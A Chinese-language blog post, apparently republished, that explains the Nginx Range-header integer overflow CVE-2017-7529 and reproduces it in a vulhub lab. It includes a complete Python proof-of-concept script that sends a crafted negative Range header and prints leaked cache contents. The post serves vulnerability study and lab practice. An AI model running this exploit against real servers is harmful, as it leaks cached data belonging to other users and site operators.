注意:仅用于技术讨论,切勿用于其他用途,一切后果与本人无关!!!
理论知识
range
The Range
是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range
首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206 Partial Content
状态码。假如所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable
状态码,表示客户端错误。服务器允许忽略 Range
首部,从而返回整个文件,状态码用 200 。
range格式:
Range: <unit>=<range-start>-
Range: <unit>=<range-start>-<range-end>
Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end>
range事例:
Range: bytes=500-999 //表示第 500-999 字节范围的内容
Range: bytes=-500 // 表示最后 500 字节的内容
Range: bytes=500- //表示从第 500 字节开始到文件结束部分的内容
Range: bytes=500-600,601-999 //同时指定几个范围
漏洞原理
主要是因为在通过range读取缓存的时候,当我们构造了两个负值得位置,则我们可以读取到缓存文件中比敏感的服务器信息。
影响版本:Nginx 的 0.5.6 - 1.13.2版本
漏洞复现
一、vulhub搭建起靶场
二、vulhub中有自带的poc
三、直接python3 poc.py http://your-ip:8080
总结
这个漏洞主要会导致敏感信息泄露,说实话没看到有啥敏感的信息,明白了为啥说这个漏洞比较废。但是嘞我们还是应该重视起来。
POC
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(r.text)
参考文章:
Range - HTTP | MDNThe Range 是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range 首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206 Partial Content 状态码。假如所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable 状态码,表示客户端错误。服务器允许忽略 Range 首部,从而返回整个文件,状态码用 200 。https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Range
Nginx整数溢出漏洞CVE-2017-7529 - 知乎漏洞简介 NginxNginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。其特点是占有内存少,并发能力较强,Nginx 可以在大多数 UnixLinux OS 上编译运行…https://zhuanlan.zhihu.com/p/34155943
Nginx越界读取缓存漏洞(CVE-2017-7529)复现分析 - qweg_focus - 博客园Nginx越界读取缓存漏洞(CVE-2017-7529)复现分析 漏洞概述 在 Nginx 的 range filter 中存在整数溢出漏洞,可以通过带有特殊构造的 range 的 HTTP 头的https://www.cnblogs.com/qweg/p/16549957.html
Nginx配置——反向代理_止步前行的博客-CSDN博客_nginx反向代理Nginxhttps://blog.csdn.net/zxd1435513775/article/details/102508463文章来源:https://www.toymoban.com/news/detail-566515.html
漏洞复现-CVE-2017-7529-敏感信息泄露 - 铺哩 - 博客园Nginx敏感信息泄露漏洞(CVE-2017-7529)https://www.cnblogs.com/cute-puli/p/13282355.html文章来源地址https://www.toymoban.com/news/detail-566515.html
到了这里,关于Nginx越界读取缓存漏洞(CVE-2017-7529)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!